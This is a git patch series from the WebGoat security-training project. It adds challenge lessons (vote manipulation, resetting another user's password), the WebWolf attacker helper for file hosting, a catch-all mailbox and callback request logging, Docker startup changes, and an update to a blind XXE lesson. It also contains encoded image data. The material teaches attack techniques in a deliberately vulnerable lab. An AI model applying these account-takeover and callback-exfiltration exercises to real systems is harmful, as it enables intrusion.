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 ehvyL&;eP=WN;P)8ynVxb@iD;Q%U5s5qyj4@e~ zBsY(&85!Gw)hq&7K}1`KDA!C-0Q`YKV24TFq-wSTi=wzb45~t#9*nUr##oUo%k8F( zBv7;kSQN!vBHGP6ZFwLVV=Vx-NRo7vN1j*4GO#F${K-JCY#&_
    %clcd!A4R!=-EQ|D zB3ffdR_wN+p2{RiD&n!r1*}$PK@d854B91g{}jUC-Hh9uqA2RL);)Xk0+$PdpjKx` zhYGnkF9pT(T*#Xtp!v)IwlxNMeRA!~T)-ZWN4=`8=k;tvE*3IYx8;vPY^n*OH>jKK zoq<4LgPw0LV7J>X6VXyVW4zDxAY<*cT~)B@$jzivoH2Gnk|f8T{3KxY!Xt6m@%&Bq>WT4qad?1oo~X1CIq{EOcz99RYqcN5Csjq-p!)SdUM> z31RQa{zw>(0Kd4%g*A&Oj5Vv~|1Pi{YxwXR3;Z8^m-*gsO2>1C*Dk!a?uB<-K2A3M zk`^s?BsUX%uHTwlGcvcG7~0dvEAYmpohUBoZAW^jh*q{I?0_T(-d9i#f_7v{-tW@jO5N}8#)-q{_*FBdvBebr8)F}#MC<@e%sF?^Y0SV@)V6LvI{ z16LQQt&`2e4*d-?QTX75ghlJ~=8HIW?wTf^o|b}j&lDhg#$-d#m#_BXqeJI$GdQT} zEu1qA70YJDwV?vH{2s#g(o3VCZ>81e6SjPGGMu*oBy1nH*5k@S%jGmI$xpo{05#C} z_nnLSeZeDB@oe!!hJg3hw&C1`=oz{3rFn5@%h#;~D9jEbqyNtlA58I6Wn02O;*tY@ znqLTkM*7bgIY4UsjEx1bMmf+6^o#;lSP?znny_`Nd(vXn1?qZOp&3sCtUew+rPC$| zc)8+XQ&alGgTEpeQZ$#kvt%?dV>_v`HR+vLA9$!z*Fe1w>j0|(szs}_yB~A&GA$LY zvu$0-n&QITys62T#0cw?}pgN69>vUT?!)gYB%c82b=^*V?RI74nJ@@Ak#(*2k ziUFa?&UmfcQoK}B-^^>r81VNCUFgW}0B|p_14rc;>&A>L)9JAvM(&6@4h;c^*YSQ3 zJ?AJ0uW`l>P-)#NUU5TJI#R70m#+q}&xjMpWC<1ItvzJKzVQq*2x#=Rg2>pJ(MVK$ zvhDEJ&L+ap359bQ2G*u^W7#S|sMhr{*pIoW)=b|E?v`rvYJZj_j3qF ziI@T&g7&ol$-kS_JoWvDf%cPt62F%miAG38YVIOnB1b)B>3NwAgj4S|Dyfa! z&pCDMS;M2PuqIz66xt1fGyPkJJ_x8HZ|!GhAV=$1n$l6wjlRbLItU=!YEaSo>hmAA=PZ`gXq4fAQ|fbp$!aQL10bft#|ap zH^+fvGr%M<1O1cowBKDf+Q=>U7|oIu`P&X`C0ILj?*iNL7RR%V{{c65s9Uk;^6dZs N002ovPDHLkV1k0DP5}S_ literal 0 HcmV?d00001 diff --git a/webgoat-lessons/challenge/src/main/resources/images/user3.png b/webgoat-lessons/challenge/src/main/resources/images/user3.png new file mode 100644 index 0000000000000000000000000000000000000000..b5b18a54acdb828dd3d9526780d64abbf0a37928 GIT binary patch literal 2077 zcmV+&2;%pNP)dgU`sn%9;NM6v?y$nS}m52Ft*M(V|CO~^bef@ zI)v5&rA3`7pe?(Rw%CrHI<3UVI2LW2fKa4mHwhsR2#)}H5VCumOJGU%aql^sKpe}N z*}wMp`~H5P^E>C>^SHvttjWiWm#e`4?-jpV;lZr1@_TPUxEql>K-~g(K*pquq0|Zq zhJQYoImBxXdWF?jJY$GtE(ab0rW+^U(=%PR*Y7p<({va#VD;dnd?MK^5SD=q*NmTN zrc|{A!=Fyu-^FoIfK{3AJHStYyg^A+sS1RxM9;NKWy9e?(YzosAYiq~<0CUO0L&Q7 zq>_|jt>& zc1lGcI$wfyJ9T220hf8-1i42?_{!R-c90SYgbujH)dp5&h0DQu&P{O0{#Wedv{fQ+ ze00_+2Q6S#UNDJh)_#OhLk6T1SgAD<41aInz-8Vbh+ik>(Auajx~(bl%E2S4@^G!N zDl3={S$nQ1NNz54bfg#3rOFz>-fbXd=|wm6@_rH)JOIOU;OQsf+&M!5K+%Q@O^`~u zlQ}yAt3|%4Wa9edGtVl{W71@}{|hkn#!G*^y9RW~I{WPPxyNw+O z_bq^;6q}=$wnFv0?mCGUZ%ZI#uLcvE8}Jc?@##c#^vTPE`S-z$+rY|5ZQ9)pYgfUE z<7O$?i;>Q=dGcCg!h;|suqyY>LouM8NkW!6IWT)3+<6ydW$8gQ9)@)l5RK~D$E>0Y zB~ZH~-YGS3nfF&9j~YfvZT`7AFn2!WL&EZJ|Mo@n~1qTUBm{vbU9+Rwn+)o|vt zURp|ZNH9D?54hC(I3nxyl;fwAoBikAe^>s)(hgF$x zJMd+FWgywR)JQXRQdL_!w?;X0+i$Gi#Zu-e4vkV`E z=hm5MJSKtAMn_=fzb*%BnEpa``QzZ58q@6TXyRWpdHW~mcR!cDS183lJ?`Ki+7wvA01Kw1zhVX$)Pt%)!d`qqWuS%V>s z+9HAQ5@+BtpPk(Xtqg6WIN%>Hw=W&~x0TO7uO;W|TVD$sp4QSjZ=}>)5)99G1}^n( zKt!)3=YhWkzUyO}u2phK*VXq>9jt#!9~kw%1i~e5z&jB6qPA+1Ib6AUGappfU=L^i zk|joS*wOb;J*;1=of@cG3530Fz`GEcsjV6ZtnHVMVM9HvGXPfVqy)qLZYvYsBdXNb zU~~+7C4mngf@do9yGqd`!BD?lN)lji6ftJs8Z)oXQ+e|H*4P5PKX5unI&n{Fvuq5lo15UN)n-ms*LZoUu{C*x z7kO?WGxOg@idS+-H#PPi?wPc6kxBA$T~l)4GOxWLt~Sw&Uw9b#ni{85;kX@B{~=xO zn}On=MtNMx3b!=%?ukuW57T6OD7Mz^51h_bs1tA`0_}!p%OkQNBgMhqkrt>}X@YC7 zFN-A*u1P+mO*ale^pRy)H{P5&iSSWqJ)@Uo{z&jToRFjgERj29TV3ovyMKk3kwu&L z*C1ch%Mj`(6ySN{31@R1Xg65kMAe@e^TsQ>soB-t%INT;vWeI*OMc=}?p;Py)*%dY zQ?G71!NjFYnK=6{XVa7I5Nd@;+;MA$1-^W^#(B@&ak!DaD}KVv@fx3$D0&dSErHOp z@ku$HOBdco)OyYBAl?Q(dA5femVbj!%$@DlKXAGePG7jf9hD8Ea$J4d8ycwj*-ETa zZQSn3ceYpR7)lmOW$16o44rQt{Dl({%l>%f)>Ki>19$a~n8MP<6fQP93Ui}v+y5VS zuY8h7XD7omEp9Jx1l~)u`(CGSyIc>Ul*_#C3v4H!KeL3XOCKS7+&DKD*Z*rPw`2b< zHW%QR$%#HBFVuE93A+McbXF{+bljfeCASA`wH9hdQbDouO4gfwtKmXbM3Frsph0^a9z8dpUGWlcR+TAwP=VFLMVEx%__tdlc1Msd?-=00000NkvXX Hu0mjfDS!I{ literal 0 HcmV?d00001 diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge8.js b/webgoat-lessons/challenge/src/main/resources/js/challenge8.js new file mode 100644 index 000000000..453ea0f53 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/js/challenge8.js @@ -0,0 +1,57 @@ +$(document).ready(function () { + loadVotes(); + average(); +}) + +function loadVotes() { + $.get("challenge/8/votes/", function (votes) { + var totalVotes = 0; + for (var i = 1; i <= 5; i++) { + totalVotes = totalVotes + votes[i]; + } + console.log(totalVotes); + for (var i = 1; i <= 5; i++) { + var percent = votes[i] * 100 / totalVotes; + console.log(percent); + var progressBar = $('#progressBar' + i); + progressBar.width(Math.round(percent) * 2 + '%'); + $("#nrOfVotes" + i).html(votes[i]); + + } + } + ); +} + +function average() { + $.get("challenge/8/votes/average", function (average) { + for (var i = 1; i <= 5; i++) { + var number = average["average"]; + $("#star" + i).removeClass('btn-warning'); + $("#star" + i).removeClass('btn-default'); + $("#star" + i).removeClass('btn-grey'); + + if (i <= number) { + $("#star" + i).addClass('btn-warning'); + } else { + $("#star" + i).addClass('btn-grey'); + } + } + } + ); +} + + +function doVote(stars) { + $("#voteResultMsg").hide(); + $.get("challenge/8/vote/" + stars, function (result) { + if (result["error"]) { + $("#voteResultMsg").addClass('alert-danger alert-dismissable'); + } else { + $("#voteResultMsg").addClass('alert-success alert-dismissable'); + } + $("#voteResultMsg").html(result["message"]); + $("#voteResultMsg").show(); + }) + loadVotes(); + average(); +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge9.js b/webgoat-lessons/challenge/src/main/resources/js/challenge9.js new file mode 100644 index 000000000..eccbd7d33 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/js/challenge9.js @@ -0,0 +1,10 @@ +$(document).ready(function() { + $('#login').click(function(e) { + e.preventDefault(); + $('div#form-login').toggle('500'); + }); + $('#forgot').click(function(e) { + e.preventDefault(); + $('div#form-login').toggle('500'); + }); +}); \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc new file mode 100644 index 000000000..cb66a4329 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc @@ -0,0 +1 @@ +Try to reset the password for admin. diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc new file mode 100644 index 000000000..1d51b75c0 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc @@ -0,0 +1 @@ +Can you still vote? \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc new file mode 100644 index 000000000..f2e2c1c9b --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc @@ -0,0 +1,3 @@ +Tom always resets his password immediately after receiving the email with the link. +Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with +that password. diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html b/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html new file mode 100644 index 000000000..6ffe93937 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html @@ -0,0 +1,19 @@ + + + + + + + +
    + + +
    + + × +

    + Upload a file which you need to host as an attacker. +

    +

    + Each file will be available under the following url: + http://localhost:8081/files/{username}/{filename}. +

    +

    + You can copy and paste the location from the table below. +

    +
    + +
    +
    Upload a file + +
    +
    + + +
    +
    +
    + +
    + +
    + + +
    +
    + +
+ + + + + + + + + + + + + + +
FilenameSizeLink
filenamesizelink + +
+ + + + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/fragments/footer.html b/webwolf/src/main/resources/templates/fragments/footer.html new file mode 100644 index 000000000..971d0dffb --- /dev/null +++ b/webwolf/src/main/resources/templates/fragments/footer.html @@ -0,0 +1,19 @@ + + + + +
+ +
+ +
+ © 2017 WebGoat - Use WebWolf at your own risk + +
+
+ +
+ + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/fragments/header.html b/webwolf/src/main/resources/templates/fragments/header.html new file mode 100644 index 000000000..1cf1965dd --- /dev/null +++ b/webwolf/src/main/resources/templates/fragments/header.html @@ -0,0 +1,51 @@ + + + WebWolf +
+ + + + + +
+ + +
+ +
+ + + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/home.html b/webwolf/src/main/resources/templates/home.html new file mode 100644 index 000000000..e19d5c4d9 --- /dev/null +++ b/webwolf/src/main/resources/templates/home.html @@ -0,0 +1,37 @@ + + + +
+ + + +
+ +
+ +
+ + + +
+

WebWolf

+
+

+ Some challenges requires to have a local web server running. WebWolf is for you the attacker it + helps you while solving some of the assignments and challenges within + WebGoat. An assignment might for example require you to serve a file or connect back to your own + environment or to receive an e-mail. + In order to not let you run WebGoat open and connected to the internet we provided these tools in this + application, called WebWolf. +

+
+
+ + +
+ + +
+ + + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/login.html b/webwolf/src/main/resources/templates/login.html new file mode 100644 index 000000000..6f9a4e07c --- /dev/null +++ b/webwolf/src/main/resources/templates/login.html @@ -0,0 +1,58 @@ + + + + WebWolf +
+ + + +
+ +
+ +
+
+
+
+

Sign in

+ Use your WebGoat account. +
+
+
+ Invalid username or password. +
+
+
+
+ You have been logged out. +
+
+ +
+ +
+
+ +
+ +
+
+ +
+
+
+
+
+
+
+
+ +
+ +
+ + + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/mailbox.html b/webwolf/src/main/resources/templates/mailbox.html new file mode 100644 index 000000000..8a78d9697 --- /dev/null +++ b/webwolf/src/main/resources/templates/mailbox.html @@ -0,0 +1,150 @@ + + + + WebWolf +
+ + + +
+ + + +
+ + +
+ + × +

+ The mailbox of you as an attacker, all the mail send to {user}@{random} will be send to this mailbox. +

+

+ Only the user part is important the domain can be anything +

+
+ +
+
+
+
+
+ + +
+
+
+ + +
+ + +
+
+ 1– 50 of +
+ + +
+
+
+
+
+
+
+ COMPOSE +
+ +
+
+ + + +
+ +
+
+
+ This tab is empty. +
+
+
+
+
+ Why the name "WebGoat"? Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they need is a scapegoat, right? Just blame it on the 'Goat! +
+
+
+ This tab is empty. +
+
+
+
+
+
+ +
+ + \ No newline at end of file diff --git a/webwolf/src/main/resources/templates/requests.html b/webwolf/src/main/resources/templates/requests.html new file mode 100644 index 000000000..15c035d40 --- /dev/null +++ b/webwolf/src/main/resources/templates/requests.html @@ -0,0 +1,56 @@ + + + +
+ + + +
+ + + +
+ + +
+ + × +

+ Challenges in which you need to call your hacker machine WebWolf offers a simple httpd + server functionality which only logs the incoming request. You can use the following URL: + http://localhost:8081/ and the incoming request will be available below. +

+

+ This is by no means a substitution of httpd but it offers enough functionality to callback to a safe + environment and does not require you to host your own httpd server on your local machine. +

+
+ + +

Requests

+
+
+ +
+
+
+
+                    
+
+
+
+
+ + + +
+ + \ No newline at end of file From 109fe2c4385ecb9a23615cefe8a63a95636347c4 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 12 Sep 2017 23:44:32 +0200 Subject: [PATCH 2/7] Added WebWolf to Docker --- webgoat-server/pom.xml | 5 +++++ webgoat-server/src/main/docker/Dockerfile | 9 +++++---- webgoat-server/src/main/docker/startup.sh | 6 ++++++ 3 files changed, 16 insertions(+), 4 deletions(-) create mode 100644 webgoat-server/src/main/docker/startup.sh diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 6a75fb259..1f1bce4b2 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -36,6 +36,11 @@ ${project.build.directory} ${project.build.finalName}.jar + + / + ${project.basedir}/../webwolf/target + webwolf-${project.version}.jar + diff --git a/webgoat-server/src/main/docker/Dockerfile b/webgoat-server/src/main/docker/Dockerfile index fcd589685..392c0c991 100644 --- a/webgoat-server/src/main/docker/Dockerfile +++ b/webgoat-server/src/main/docker/Dockerfile @@ -3,9 +3,10 @@ FROM openjdk:8-jre RUN useradd --home-dir /home/webgoat --create-home -U webgoat USER webgoat - -RUN mkdir -p /home/webgoat/.embedmongo/linux -RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz RUN cd /home/webgoat/; mkdir -p .webgoat COPY webgoat-server-8.0-SNAPSHOT.jar /home/webgoat/webgoat.jar -ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/home/webgoat/webgoat.jar"] \ No newline at end of file +COPY webwolf-8.0-SNAPSHOT.jar /home/webgoat/webwolf.jar +COPY startup.sh /home/webgoat/startup.sh +RUN sudo chmod +x /home/webgoat/startup.sh + +CMD ["/home/webgoat/startup.sh"] \ No newline at end of file diff --git a/webgoat-server/src/main/docker/startup.sh b/webgoat-server/src/main/docker/startup.sh new file mode 100644 index 000000000..d329b2d42 --- /dev/null +++ b/webgoat-server/src/main/docker/startup.sh @@ -0,0 +1,6 @@ +#!/bin/sh + +java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webgoat.jar & +echo "Waiting for WebGoat to start..." +sleep 20 +java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webwolf.jar From 94caba7eb14917b709e346b73adef4eb088a31f8 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 13 Sep 2017 00:22:52 +0200 Subject: [PATCH 3/7] Landing page incoming requests now look whether the referer is WebGoat (all incoming requests from WebGoat will now be logged) --- .../org/owasp/webwolf/requests/WebWolfTraceRepository.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java index 7f341d606..22c8e6d61 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java +++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java @@ -58,8 +58,8 @@ public class WebWolfTraceRepository implements TraceRepository { @Override public void add(Map map) { Optional host = getFromHeaders("host", map); - String path = (String) map.getOrDefault("path", ""); - if (host.isPresent() && ("/".equals(path) || path.contains("challenge"))) { + Optional referer = getFromHeaders("referer", map); + if (host.isPresent() && referer.orElse("").contains("WebGoat")) { Optional cookie = getFromHeaders("cookie", map); cookie.ifPresent(c -> { Optional user = findUserBasedOnCookie(c); From 8a982dedb547cf249b785f93d67593384a47e43d Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 7 Oct 2017 13:46:34 +0200 Subject: [PATCH 4/7] Updated XXE lesson so it also uses WebWolf --- .../src/main/resources/application.properties | 4 ++ .../resources/application-test.properties | 2 +- .../webgoat/plugin/LandingAssignment.java | 7 +-- .../lessonPlans/en/Landing_page.adoc | 2 +- webgoat-lessons/xxe/pom.xml | 8 +++ .../plugin/BlindSendFileAssignment.java | 53 +++++++++---------- .../resources/lessonPlans/en/XXE_blind.adoc | 45 ++++++++-------- .../lessonPlans/en/XXE_blind_assignment.adoc | 23 ++++++-- .../plugin/BlindSendFileAssignmentTest.java | 53 +++++++++++++------ .../main/java/org/owasp/webwolf/WebWolf.java | 5 +- .../owasp/webwolf/requests/LandingPage.java | 24 +++++++++ .../requests/WebWolfTraceRepository.java | 52 +++++++++++------- .../src/main/resources/application.properties | 2 +- 13 files changed, 180 insertions(+), 100 deletions(-) create mode 100644 webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index abcbe6e3c..7414a54ae 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -29,6 +29,10 @@ webgoat.database.driver=org.hsqldb.jdbcDriver webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} webgoat.default.language=en +webwolf.port=8081 +webwolf.url=http://localhost:${webwolf.port}/WebWolf +webworf.url.landingpage=http://localhost:${webwolf.port}/landing + spring.jackson.serialization.indent_output=true spring.jackson.serialization.write-dates-as-timestamps=false diff --git a/webgoat-container/src/test/resources/application-test.properties b/webgoat-container/src/test/resources/application-test.properties index da678e27b..3100e029a 100644 --- a/webgoat-container/src/test/resources/application-test.properties +++ b/webgoat-container/src/test/resources/application-test.properties @@ -1 +1 @@ -webgoat.user.directory=/tmp/ \ No newline at end of file +webgoat.user.directory=${java.io.tmpdir} \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java index c0125d247..1ae6ea707 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java @@ -4,10 +4,10 @@ import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.client.RestTemplate; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; @@ -21,7 +21,8 @@ import java.net.URISyntaxException; @AssignmentPath("/WebWolf/landing") public class LandingAssignment extends AssignmentEndpoint { - private RestTemplate restTemplate = new RestTemplate(); + @Value("${webworf.url.landingpage}") + private String landingPageUrl; @PostMapping @ResponseBody @@ -37,7 +38,7 @@ public class LandingAssignment extends AssignmentEndpoint { public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException { URI uri = new URI(request.getRequestURL().toString()); ModelAndView modelAndView = new 